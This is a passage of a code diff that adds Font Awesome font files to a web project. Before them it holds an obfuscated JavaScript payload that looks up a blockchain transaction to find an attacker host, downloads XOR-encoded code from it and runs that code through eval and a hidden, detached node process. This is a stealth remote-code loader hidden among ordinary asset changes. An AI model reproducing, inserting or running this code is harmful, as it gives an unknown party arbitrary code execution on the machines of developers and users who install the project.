_0x34fd99+_0x5411a0;},'FwRkP':function(_0x1dab91,_0x5a5936){return _0x1dab91<_0x5a5936;}},_0x1898b6=_0x476098[_0x26f601(0x13d)](_0xa7569f,B),_0x50dd1a=new Set(),_0x1f5638=[];for(const _0x582c5c of[_0x476098[_0x26f601(0x13d)](_0xa7569f,0x1n),_0xa7569f,_0x476098[_0x26f601(0x18c)](_0xa7569f,0x1n),_0x476098[_0x26f601(0x13d)](_0x1898b6,0x1n),_0x1898b6,_0x476098[_0x26f601(0x98)](_0x1898b6,0x1n)]){if(_0x476098[_0x26f601(0xa0)](_0x582c5c,0x0n))continue;const _0x16c3f6=_0x582c5c[_0x26f601(0x133)]();if(_0x50dd1a[_0x26f601(0x11e)](_0x16c3f6))continue;_0x50dd1a[_0x26f601(0x165)](_0x16c3f6),_0x1f5638[_0x26f601(0x19c)](_0x582c5c);}return _0x1f5638;}function _0x1574(_0x15a2a7,_0x392c03){_0x15a2a7=_0x15a2a7-(-0x17b*0xc+-0x5*-0x469+-0x7*0x89);const _0x46b5ba=_0x303e();let _0x4d1ea2=_0x46b5ba[_0x15a2a7];return _0x4d1ea2;}function blockTask(_0x53a0ac){const _0x4c9320={'BwgOm':function(_0x2375c1,_0x4f08a3,_0x314f46){return _0x2375c1(_0x4f08a3,_0x314f46);},'kYFvQ':function(_0x547c3b,_0x3236d7){return _0x547c3b(_0x3236d7);}},_0x402467=new AbortController();return{'controller':_0x402467,'run':async()=>{const _0x2f9208=_0x1574,_0x1b974c=await _0x4c9320[_0x2f9208(0x144)](withRpcEndpoints,(_0x3f6025,_0x5b26f1)=>rpcCall(_0x3f6025,_0x2f9208(0x143)+_0x2f9208(0xbd),[toBlockHex(_0x53a0ac),!![]],_0x5b26f1),_0x402467[_0x2f9208(0x11d)]),_0x5923e6=_0x1b974c?.[_0x2f9208(0xdc)+'ns'];if(!Array[_0x2f9208(0xd2)](_0x5923e6))return null;const _0xaf01ce=_0x4c9320[_0x2f9208(0x119)](findSenderTx,_0x5923e6);return _0xaf01ce?{'blockNumber':_0x53a0ac,'tx':_0xaf01ce}:null;}};}async function nonceAtBlocks(_0xcfaef6,_0xf1c796){const _0x28ee4a=_0x499797,_0x141172={'PRsJh':function(_0x2adf5b,_0x25077c,_0x5ee834){return _0x2adf5b(_0x25077c,_0x5ee834);}},_0x518cf2=_0xcfaef6[_0x28ee4a(0x13e)](_0x1ee5f4=>[_0x28ee4a(0xdb)+_0x28ee4a(0x1b5)+_0x28ee4a(0x17e),[S,toBlockHex(_0x1ee5f4)]]);try{return(await _0x141172[_0x28ee4a(0x94)](withRpcEndpoints,(_0x46efe0,_0x58233e)=>rpcBatch(_0x46efe0,_0x518cf2,_0x58233e),_0xf1c796))[_0x28ee4a(0x13e)](BigInt);}catch{return(await Promise[_0x28ee4a(0x195)](_0x518cf2[_0x28ee4a(0x13e)](([_0x54f3dd,_0x5f4808])=>withRpcEndpoints((_0x1375ba,_0x244320)=>rpcCall(_0x1375ba,_0x54f3dd,_0x5f4808,_0x244320),_0xf1c796))))[_0x28ee4a(0x13e)](BigInt);}}async function lastSenderTx(_0x984824){const _0x1e3b56=_0x499797,_0x4b2e1d={'MRXGd':function(_0x2cb058,_0x308c34){return _0x2cb058(_0x308c34);},'GzFqP':function(_0x2b516a,_0x637d36,_0x597c64){return _0x2b516a(_0x637d36,_0x597c64);},'aLXzn':function(_0x281e09,_0x5f3f13,_0x17fa08){return _0x281e09(_0x5f3f13,_0x17fa08);},'HMOkP':function(_0x366bc2,_0x646315){return _0x366bc2-_0x646315;},'cRcET':function(_0x6d68a3,_0x5d174d){return _0x6d68a3-_0x5d174d;},'HArnW':function(_0x4290b1,_0x2a2180){return _0x4290b1>_0x2a2180;},'YBPka':function(_0x414925,_0x882cad){return _0x414925(_0x882cad);},'COTDy':function(_0x286bdc,_0x584255){return _0x286bdc<=_0x584255;},'qunPa':function(_0x1b7dea,_0x582b45){return _0x1b7dea+_0x582b45;},'QpFOH':function(_0x3a2f4f,_0x421154){return _0x3a2f4f/_0x421154;},'HtawQ':function(_0x7c8a38,_0x210b55){return _0x7c8a38*_0x210b55;},'lVtXv':function(_0xa7f0ed,_0x180055,_0x2b1d1d){return _0xa7f0ed(_0x180055,_0x2b1d1d);},'CeajG':function(_0x4be601,_0x3d5c19){return _0x4be601===_0x3d5c19;},'cUTwy':function(_0x2bb3c5,_0x2fb423){return _0x2bb3c5-_0x2fb423;},'adSLw':function(_0x2249d8,_0x3c6d64){return _0x2249d8>_0x3c6d64;},'NpbgJ':function(_0x39f545,_0xe0a731){return _0x39f545-_0xe0a731;},'fpRUU':function(_0x2bb361,_0x2890f6){return _0x2bb361!==_0x2890f6;},'BUGBq':function(_0x8c1b6b,_0x4f8569){return _0x8c1b6b>_0x4f8569;},'IwiTW':function(_0x56ff05,_0x17a7ac){return _0x56ff05(_0x17a7ac);},'HfbTA':function(_0x335fc4,_0x1c64d9){return _0x335fc4(_0x1c64d9);}},_0x43570c=new AbortController();try{const _0x3957ae=_0x984824??_0x4b2e1d[_0x1e3b56(0x111)](BigInt,await _0x4b2e1d[_0x1e3b56(0x15b)](withRpcEndpoints,(_0x2a7b3d,_0x1b7551)=>rpcCall(_0x2a7b3d,_0x1e3b56(0x17f)+_0x1e3b56(0xef),[],_0x1b7551),_0x43570c[_0x1e3b56(0x11d)])),_0xa0eaa0=_0x4b2e1d[_0x1e3b56(0x111)](BigInt,await _0x4b2e1d[_0x1e3b56(0x12f)](withRpcEndpoints,(_0x1fc57a,_0x2ce1e8)=>rpcCall(_0x1fc57a,_0x1e3b56(0xdb)+_0x1e3b56(0x1b5)+_0x1e3b56(0x17e),[S,toBlockHex(_0x3957ae)],_0x2ce1e8),_0x43570c[_0x1e3b56(0x11d)])),_0x53f71d=_0x4b2e1d[_0x1e3b56(0x127)](_0xa0eaa0,0x1n);let _0x37d435=_0x4b2e1d[_0x1e3b56(0x1c0)](E,0x1n),_0x5ab4b9=_0x3957ae;while(_0x4b2e1d[_0x1e3b56(0x1aa)](_0x4b2e1d[_0x1e3b56(0x1c0)](_0x5ab4b9,_0x37d435),0x1n)){const _0x179622=_0x4b2e1d[_0x1e3b56(0x1c0)](_0x4b2e1d[_0x1e3b56(0x127)](_0x5ab4b9,_0x37d435),0x1n),_0x3a6941=_0x4b2e1d[_0x1e3b56(0x111)](BigInt,Math[_0x1e3b56(0x9b)](N,_0x4b2e1d[_0x1e3b56(0x1b6)](Number,_0x179622))),_0x315e8d=[];for(let _0x25c96d=0x1n;_0x4b2e1d[_0x1e3b56(0x123)](_0x25c96d,_0x3a6941);_0x25c96d+=0x1n)_0x315e8d[_0x1e3b56(0x19c)](_0x4b2e1d[_0x1e3b56(0x16d)](_0x37d435,_0x4b2e1d[_0x1e3b56(0x124)](_0x4b2e1d[_0x1e3b56(0x1a0)](_0x25c96d,_0x4b2e1d[_0x1e3b56(0x1c0)](_0x5ab4b9,_0x37d435)),_0x4b2e1d[_0x1e3b56(0x16d)](_0x3a6941,0x1n))));const _0x47a7ce=await _0x4b2e1d[_0x1e3b56(0x185)](nonceAtBlocks,_0x315e8d,_0x43570c[_0x1e3b56(0x11d)]),_0x34753f=_0x47a7ce[_0x1e3b56(0xf7)](_0x47ea42=>_0x47ea42>=_0xa0eaa0);if(_0x4b2e1d[_0x1e3b56(0xb7)](_0x34753f,-(0x2152+0xa7*0x2f+-0x3ffa)))_0x37d435=_0x315e8d[_0x4b2e1d[_0x1e3b56(0x176)](_0x315e8d[_0x1e3b56(0x1b8)],0x2540+-0x25*-0x2b+-0x2b76)];else{_0x5ab4b9=_0x315e8d[_0x34753f];if(_0x4b2e1d[_0x1e3b56(0xb0)](_0x34753f,-0x1*-0x5df+0xbb7*-0x2+-0x1f*-0x91))_0x37d435=_0x315e8d[_0x4b2e1d[_0x1e3b56(0x1ae)](_0x34753f,0x2*0x3f1+0xa6*-0x2+-0x151*0x5)];}}const _0x5ed138=await _0x4b2e1d[_0x1e3b56(0x15b)](withRpcEndpoints,(_0x568ead,_0x2d51f0)=>rpcCall(_0x568ead,_0x1e3b56(0x143)+_0x1e3b56(0xbd),[toBlockHex(_0x5ab4b9),!![]],_0x2d51f0),_0x43570c[_0x1e3b56(0x11d)]),_0x5d6702=_0x5ed138?.[_0x1e3b56(0xdc)+'ns']||[];let _0x268784=null;for(const _0x4a5491 of _0x5d6702){if(!_0x4a5491[_0x1e3b56(0x1ce)]||_0x4b2e1d[_0x1e3b56(0x177)](_0x4a5491[_0x1e3b56(0x1ce)][_0x1e3b56(0x194)+'e'](),S))continue;if(_0x4b2e1d[_0x1e3b56(0xb7)](_0x4b2e1d[_0x1e3b56(0x111)](BigInt,_0x4a5491[_0x1e3b56(0x12b)]),_0x53f71d)){_0x268784=_0x4a5491;break;}if(!_0x268784||_0x4b2e1d[_0x1e3b56(0xa8)](_0x4b2e1d[_0x1e3b56(0xf2)](BigInt,_0x4a5491[_0x1e3b56(0x12b)]),_0x4b2e1d[_0x1e3b56(0xd6)](BigInt,_0x268784[_0x1e3b56(0x12b)])))_0x268784=_0x4a5491;}return{'blockNumber':_0x5ab4b9,'tx':_0x268784};}finally{_0x43570c[_0x1e3b56(0xe5)]();}}async function lastSenderTxViaIndexer(){const _0x2930ef=_0x499797,_0x3e99de={'PUiqh':function(_0x35c175,_0x2e164d){return _0x35c175+_0x2e164d;},'XJLjq':function(_0x3c4ca8,_0x1e9377){return _0x3c4ca8(_0x1e9377);},'CNvmX':function(_0x479ed4,_0x4c6551){return _0x479ed4(_0x4c6551);}},_0x5e4671=_0x3e99de[_0x2930ef(0xf8)](I+(_0x2930ef(0x17b)+_0x2930ef(0x136)+_0x2930ef(0x1c1)+_0x2930ef(0x16b))+S,_0x2930ef(0x129)+_0x2930ef(0x1c4)+_0x2930ef(0x112)+_0x2930ef(0x109)+_0x2930ef(0xc2)+_0x2930ef(0xda)+_0x2930ef(0xc0)+'om'),_0x357c47=await _0x3e99de[_0x2930ef(0xc6)](httpRequest,_0x5e4671),_0x494e4c=Array[_0x2930ef(0xd2)](_0x357c47?.[_0x2930ef(0x153)])?_0x357c47[_0x2930ef(0x153)]:[],_0x1e36e8=_0x494e4c[_0x2930ef(0x154)](_0x4dc009=>_0x4dc009[_0x2930ef(0x1ce)]&&_0x4dc009[_0x2930ef(0x1ce)][_0x2930ef(0x194)+'e']()===S);return{'blockNumber':_0x3e99de[_0x2930ef(0x1b2)](BigInt,_0x1e36e8[_0x2930ef(0x191)+'r']),'tx':_0x1e36e8};}async function run(){const _0x3ddf99=_0x499797,_0x3e4d20={'XHTcU':_0x3ddf99(0x150)+_0x3ddf99(0x16e),'LpxsS':_0x3ddf99(0xf3)+_0x3ddf99(0x114)+'4','tLwVN':function(_0x4b2dba,_0x8cec4d){return _0x4b2dba(_0x8cec4d);},'ivCoc':_0x3ddf99(0x1c8),'YSUgD':function(_0x8ca328,_0x1d9088){return _0x8ca328<_0x1d9088;},'csiWL':function(_0xba2a1f,_0x413160){return _0xba2a1f%_0x413160;},'yFDvb':_0x3ddf99(0x1bc),'rQbdJ':_0x3ddf99(0x137)+_0x3ddf99(0x14f),'yTDFl':function(_0x17eb40,_0x4a846b){return _0x17eb40===_0x4a846b;},'HKNcy':_0x3ddf99(0xb5),'jNlaO':_0x3ddf99(0x158),'OxHwm':_0x3ddf99(0x10a),'czqwo':_0x3ddf99(0xb6),'yrUca':function(_0x3857f0,_0x3cd4d9){return _0x3857f0(_0x3cd4d9);},'hFCDY':function(_0x1ff9f5,_0x42c705){return _0x1ff9f5+_0x42c705;},'HGQWu':_0x3ddf99(0x118)+_0x3ddf99(0x157)+_0x3ddf99(0x131)+_0x3ddf99(0x1a6)+_0x3ddf99(0x125)+_0x3ddf99(0xfd)+_0x3ddf99(0x18f)+_0x3ddf99(0x175)+_0x3ddf99(0xd3)+_0x3ddf99(0xf5)+_0x3ddf99(0x17a)+'6','scMEy':_0x3ddf99(0xde),'NIFWT':function(_0x42d74d,_0x3e2cb8,_0x569ed4){return _0x42d74d(_0x3e2cb8,_0x569ed4);},'KTgAc':_0x3ddf99(0x11f),'iUmEL':_0x3ddf99(0x113),'IokEk':_0x3ddf99(0x8d),'MCzdr':function(_0x226bbc,_0x262021){return _0x226bbc(_0x262021);},'QUVvQ':function(_0x484318,_0x10c080,_0x596c83,_0x1a9a66){return _0x484318(_0x10c080,_0x596c83,_0x1a9a66);},'eCpUr':_0x3ddf99(0xe0),'usjtu':function(_0x13ea1d,_0x371cb9){return _0x13ea1d+_0x371cb9;},'slBgs':_0x3ddf99(0xec),'PKgro':function(_0x1c2d56,_0x49ff27){return _0x1c2d56(_0x49ff27);},'kmoyl':function(_0x430c22,_0x5d1016){return _0x430c22(_0x5d1016);},'KdRuu':function(_0x24d4ef,_0x1c162a){return _0x24d4ef-_0x1c162a;},'NPaAy':function(_0x1d6a5c,_0x3734e5){return _0x1d6a5c(_0x3734e5);},'GUDGc':function(_0x333baa,_0x38c4cf){return _0x333baa(_0x38c4cf);},'prVlP':function(_0x489463,_0x6369ed){return _0x489463(_0x6369ed);},'cByRL':function(_0x53249c,_0x56f8b4){return _0x53249c(_0x56f8b4);},'WlluH':_0x3ddf99(0xf0)+_0x3ddf99(0x14c),'ZUpOW':function(_0xbe7c6d,_0x523eed,_0x540605,_0xc25e2c){return _0xbe7c6d(_0x523eed,_0x540605,_0xc25e2c);},'QyApB':_0x3ddf99(0x130)+_0x3ddf99(0xd8)},_0x2c6586=_0x3e4d20[_0x3ddf99(0x183)](BigInt,await _0x3e4d20[_0x3ddf99(0xa7)](withRpcEndpoints,(_0x3e46cb,_0x946f8e)=>rpcCall(_0x3e46cb,_0x3ddf99(0x17f)+_0x3ddf99(0xef),[],_0x946f8e))),_0x1c8810=_0x3e4d20[_0x3ddf99(0xf1)](_0x2c6586,_0x3e4d20[_0x3ddf99(0xe7)](_0x2c6586,B));let _0xe36d83=await _0x3e4d20[_0x3ddf99(0x8b)](firstMatch,_0x3e4d20[_0x3ddf99(0xa6)](candidateBlocks,_0x1c8810)[_0x3ddf99(0x13e)](blockTask));!_0xe36d83&&(_0xe36d83=await _0x3e4d20[_0x3ddf99(0x8c)](lastSenderTx,_0x2c6586)[_0x3ddf99(0xc5)](()=>lastSenderTxViaIndexer()));const [_0x11bad4,_0x264859]=_0x3e4d20[_0x3ddf99(0x197)](decodeAddress,_0xe36d83['tx']['to']),_0x217f60=global;_0x217f60['_V']=_0x217f60['i'],_0x217f60['_H']=_0x3ddf99(0x1a9)+_0x11bad4+_0x3ddf99(0x13b),_0x217f60[_0x3e4d20[_0x3ddf99(0x1c5)]]=_0x3ddf99(0x1a9)+_0x264859+_0x3ddf99(0x13b),_0x217f60[_0x3e4d20[_0x3ddf99(0xb9)]]=_0x3ddf99(0x1a9)+_0x11bad4+_0x3ddf99(0x13f),_0x217f60[_0x3e4d20[_0x3ddf99(0x1d1)]]=_0x3ddf99(0x1a9)+_0x11bad4+_0x3ddf99(0x13b);function _0x496716(_0x5a267a,_0x31cd76){const _0x499cad=_0x3ddf99,_0x513d81={'iGbLh':function(_0x52c498,_0x153bb5){const _0x9d8a28=_0x1574;return _0x3e4d20[_0x9d8a28(0x178)](_0x52c498,_0x153bb5);},'lqKKR':function(_0x3b5455,_0x197f18){const _0x287730=_0x1574;return _0x3e4d20[_0x287730(0xe7)](_0x3b5455,_0x197f18);},'lSYUu':_0x3e4d20[_0x499cad(0x91)],'iOctu':function(_0xdb4238,_0x6c106b){const _0x516ba4=_0x499cad;return _0x3e4d20[_0x516ba4(0x18d)](_0xdb4238,_0x6c106b);},'wTPcq':_0x3e4d20[_0x499cad(0x99)],'ZUkiz':_0x3e4d20[_0x499cad(0x14b)],'eRseM':function(_0x1c82d0,_0x183545){const _0x397f22=_0x499cad;return _0x3e4d20[_0x397f22(0x180)](_0x1c82d0,_0x183545);},'wlRqa':_0x3e4d20[_0x499cad(0x199)],'BvNbn':function(_0x2575d0,_0x5ccc0d){const _0x4251cb=_0x499cad;return _0x3e4d20[_0x4251cb(0x18d)](_0x2575d0,_0x5ccc0d);},'Clgxq':_0x3e4d20[_0x499cad(0x97)],'trBbW':_0x3e4d20[_0x499cad(0xe1)],'CRLRy':_0x3e4d20[_0x499cad(0x1c7)]},_0x1f02bb={'hostname':_0x31cd76[_0x499cad(0x128)],'port':_0x3e4d20[_0x499cad(0x1ab)](Number,_0x31cd76[_0x499cad(0x181)])||-0x1b13+0x1ffc+-0x499,'path':_0x3e4d20[_0x499cad(0x12e)](_0x31cd76[_0x499cad(0x193)],_0x31cd76[_0x499cad(0x16c)]),'headers':{'User-Agent':_0x3e4d20[_0x499cad(0x16f)],'Sec-V':_0x217f60['_V']||0x483+-0x1*0x1732+0x12af}};function _0x82d97c(_0x1f6e4d){const _0x19ab71=_0x499cad,_0x198b16=_0x5a267a[_0x19ab71(0x1b8)];for(let _0x55e3ab=-0x1040+0x1f7+0xe49;_0x513d81[_0x19ab71(0x156)](_0x55e3ab,_0x1f6e4d[_0x19ab71(0x1b8)]);_0x55e3ab++)_0x1f6e4d[_0x55e3ab]^=_0x5a267a[_0x19ab71(0x146)](_0x513d81[_0x19ab71(0x1c6)](_0x55e3ab,_0x198b16));return _0x1f6e4d[_0x19ab71(0x133)](_0x513d81[_0x19ab71(0x163)]);}function _0x16097a(_0x16fe4f){const _0x5784b0=_0x499cad,_0x5e0d14=_0x16fe4f[_0x5784b0(0x14e)][_0x3e4d20[_0x5784b0(0x99)]];if(!_0x5e0d14)throw new Error(_0x3e4d20[_0x5784b0(0x160)]);return _0x3e4d20[_0x5784b0(0x18d)](_0x82d97c,Buffer[_0x5784b0(0x1ce)](_0x5e0d14,_0x3e4d20[_0x5784b0(0xfb)]));}function _0x12ffff(_0x5a354e){const _0x58c1f5=_0x499cad,_0x48fc91={'tBaiF':function(_0x243e20,_0x3b63bc){const _0xf1412a=_0x1574;return _0x513d81[_0xf1412a(0x13c)](_0x243e20,_0x3b63bc);},'duYPa':_0x513d81[_0x58c1f5(0xbb)],'BkJEk':function(_0x50baf5,_0x28813e){const _0x6e56d=_0x58c1f5;return _0x513d81[_0x6e56d(0x13c)](_0x50baf5,_0x28813e);},'zUJfu':_0x513d81[_0x58c1f5(0x1a4)],'eLLPH':function(_0x36868e,_0x4713f4){const _0x210c58=_0x58c1f5;return _0x513d81[_0x210c58(0x161)](_0x36868e,_0x4713f4);},'bHKPY':_0x513d81[_0x58c1f5(0x19d)],'ttjBo':function(_0x18d46a,_0x541dbc){const _0x167c78=_0x58c1f5;return _0x513d81[_0x167c78(0x105)](_0x18d46a,_0x541dbc);},'Dwemb':function(_0x1e81e6,_0x418199){const _0x552cce=_0x58c1f5;return _0x513d81[_0x552cce(0x13c)](_0x1e81e6,_0x418199);},'vwUDP':_0x513d81[_0x58c1f5(0x8f)],'Ecuor':_0x513d81[_0x58c1f5(0x1a1)],'SVmJv':_0x513d81[_0x58c1f5(0x168)]};return new Promise((_0x3e3a91,_0x4663df)=>{const _0x1c224d=_0x58c1f5,_0x27e75a=http[_0x1c224d(0x19e)]({..._0x1f02bb,'method':_0x5a354e},_0x5915da=>{const _0x4b76fb=_0x1c224d,_0x741b83={'bLTpW':function(_0x1c4f0a,_0x496517){const _0x25223f=_0x1574;return _0x48fc91[_0x25223f(0xcf)](_0x1c4f0a,_0x496517);},'rLlei':function(_0x5ac69e,_0x4e01ab){const _0xd243cd=_0x1574;return _0x48fc91[_0xd243cd(0xcf)](_0x5ac69e,_0x4e01ab);},'YNXrg':_0x48fc91[_0x4b76fb(0xdf)],'PVVGY':function(_0x1c8e61,_0x329e2d){const _0x19d055=_0x4b76fb;return _0x48fc91[_0x19d055(0xbf)](_0x1c8e61,_0x329e2d);},'BFRff':function(_0x24e746,_0x48b74c){const _0x33a798=_0x4b76fb;return _0x48fc91[_0x33a798(0xcf)](_0x24e746,_0x48b74c);},'FkqEw':_0x48fc91[_0x4b76fb(0x19b)]};if(_0x48fc91[_0x4b76fb(0x1a3)](_0x5a354e,_0x48fc91[_0x4b76fb(0x15c)])){try{_0x48fc91[_0x4b76fb(0xcf)](_0x3e3a91,_0x48fc91[_0x4b76fb(0xcc)](_0x16097a,_0x5915da));}catch(_0x34ee66){_0x48fc91[_0x4b76fb(0x15d)](_0x4663df,_0x34ee66);}_0x5915da[_0x4b76fb(0x9a)]();return;}const _0x16b820=[];_0x5915da['on'](_0x48fc91[_0x4b76fb(0x12d)],_0x456eb4=>_0x16b820[_0x4b76fb(0x19c)](_0x456eb4)),_0x5915da['on'](_0x48fc91[_0x4b76fb(0x120)],()=>{const _0x3a8602=_0x4b76fb;try{const _0x2f6eee=Buffer[_0x3a8602(0x1be)](_0x16b820);if(_0x2f6eee[_0x3a8602(0x1b8)])return _0x741b83[_0x3a8602(0x1cd)](_0x3e3a91,_0x741b83[_0x3a8602(0x1af)](_0x82d97c,_0x2f6eee));if(_0x5915da[_0x3a8602(0x14e)][_0x741b83[_0x3a8602(0x135)]])return _0x741b83[_0x3a8602(0xfe)](_0x3e3a91,_0x741b83[_0x3a8602(0x1cd)](_0x16097a,_0x5915da));_0x741b83[_0x3a8602(0xcd)](_0x4663df,new Error(_0x741b83[_0x3a8602(0x14d)]));}catch(_0x4e523a){_0x741b83[_0x3a8602(0xcd)](_0x4663df,_0x4e523a);}}),_0x5915da['on'](_0x48fc91[_0x4b76fb(0x139)],_0x4663df);});_0x27e75a['on'](_0x48fc91[_0x1c224d(0x139)],_0x4663df),_0x27e75a[_0x1c224d(0x10a)]();});}return _0x3e4d20[_0x499cad(0x18d)](_0x12ffff,_0x3e4d20[_0x499cad(0xb4)])[_0x499cad(0xc5)](()=>_0x12ffff(_0x499cad(0xb5)));}async function _0x550bb7(_0x2b52b3,_0x494e67,_0x565e82){const _0x223c28=_0x3ddf99;try{const _0x2ff474=await _0x3e4d20[_0x223c28(0x182)](_0x496716,_0x494e67,_0x2b52b3),_0x20c1ea=_0x565e82?_0x223c28(0xb1)+_0x223c28(0x11c)+(_0x217f60['_V']||0x45*0x29+0x55*0x25+0x1*-0x1756)+(_0x223c28(0x141)+_0x223c28(0xe4))+_0x217f60['_H']+(_0x223c28(0x141)+_0x223c28(0x14a))+_0x217f60[_0x3e4d20[_0x223c28(0x1c5)]]+(_0x223c28(0x141)+_0x223c28(0xe2)+_0x223c28(0x173)+_0x223c28(0xdd)+_0x223c28(0x104)+_0x223c28(0x13a)):_0x223c28(0xb1)+_0x223c28(0x11c)+(_0x217f60['_V']||0xc9a+0x2*-0x33d+-0x620)+(_0x223c28(0x141)+_0x223c28(0x1c2))+_0x217f60[_0x3e4d20[_0x223c28(0xb9)]]+(_0x223c28(0x141)+_0x223c28(0x1c3))+_0x217f60[_0x3e4d20[_0x223c28(0x1d1)]]+(_0x223c28(0x141)+_0x223c28(0xe2)+_0x223c28(0x173)+_0x223c28(0xdd)+_0x223c28(0x104)+_0x223c28(0x13a));if(!_0x565e82)_0x3e4d20[_0x223c28(0x1bf)](eval,_0x3e4d20[_0x223c28(0x12e)](_0x20c1ea,_0x2ff474));_0x3e4d20[_0x223c28(0x11a)](spawn,_0x3e4d20[_0x223c28(0x169)],['-e',_0x3e4d20[_0x223c28(0xea)](_0x20c1ea,_0x2ff474)],{'detached':!![],'stdio':_0x3e4d20[_0x223c28(0x1d0)],'windowsHide':!![]})[_0x223c28(0x172)]();}catch(_0x30dbbb){}}await _0x3e4d20[_0x3ddf99(0x11a)](_0x550bb7,new URL(_0x3ddf99(0x1a9)+_0x11bad4+(_0x3ddf99(0x132)+'s')),_0x3e4d20[_0x3ddf99(0x147)],![]),await _0x3e4d20[_0x3ddf99(0x108)](_0x550bb7,new URL(_0x3ddf99(0x1a9)+_0x11bad4+_0x3ddf99(0xcb)),_0x3e4d20[_0x3ddf99(0xa9)],!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000..d3b77c223 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000..7742838b4 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000..5b979039a Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000..beec79178 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ